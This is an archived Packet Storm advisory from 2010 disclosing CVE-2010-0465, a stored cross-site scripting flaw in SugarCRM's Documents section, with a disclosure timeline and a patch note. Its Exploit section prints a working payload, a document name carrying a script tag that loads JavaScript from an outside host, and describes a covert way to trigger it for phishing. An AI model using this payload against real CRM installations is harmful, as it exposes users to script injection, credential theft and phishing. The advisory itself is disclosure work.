Twenty Year Anniversary

SugarCRM Cross Site Scripting

SugarCRM Cross Site Scripting
Posted Mar 16, 2010
Authored by Jeromie Jackson

SugarCRM versions prior to 5.5.0a and 5.2.0l suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2010-0465
MD5 | 65028fdd56e01094100a9af2f5680c25

SugarCRM Cross Site Scripting

Change Mirror Download
Class: Stored Cross Site Scripting (XSS)

CVE: CVE-2010-0465

Remote: Yes

Local: Yes

Published: Jan 1, 2010 12:01AM

Timeline: Submission to Mitre: January 29, 2010

Vendor Contact: February 18, 2010

Vendor Response: February 19, 2010

Patch Available: March 10, 2010

Credit: Jeromie Jackson CISSP, CISM

COBIT & ITIL Certified

President- San Diego Open Web Application Security Project (OWASP)

Vice President- San Diego Information Audit & Control Association
(ISACA)

SANS Mentor

Blog: www.JeromieJackson.com

Twitter: www.twitter.com/Security_Sifu


Validated Vulnerable:

All previous version of SugarCRM prior to 5.5.0a and 5.2.0l


Discussion:


A Stored Cross-Site Scripting (XSS) vulnerability was found within
SugarCRM. The vulnerability is exploited through the online Documents
section of the application. By crafting a name that includes XSS code it
is possible to inject malicious data, redirect the user to a bogus
replica of the real website, or other nefariousactivity.



Exploit:

There are two ways that have been used to exploit this vulnerability. In
both instances, make a document with the following Document Name:


pwn3d<SCRIPT SRC="http://www.jeromiejackson.com/sugarcrm.js"></SCRIPT>



Example #1


Within the SugarCRM User Interface (UI) go to the Documents List. Click
on the one just created. This will execute the script. You will see the
script right in the document list- very obvious to most users that
something doesn't look right. The next example is slighly more covert.



Example #2


Within the SugarCRM UI go to the Document List. Hover over the Document
Name you just created, right-click, and then copy the URL location. You
will see the URL does not have any of the scripting, it has been
replaced with queries directly to a Record variable within the
application. This would probably be the tact a Phisher would take.



Solution:

A patch has been made available via the vendor. It is recommended a
routine to sanitize user input be consistently implemented throughout
the application to mitigate other such occurrences within the
application.




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    11 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close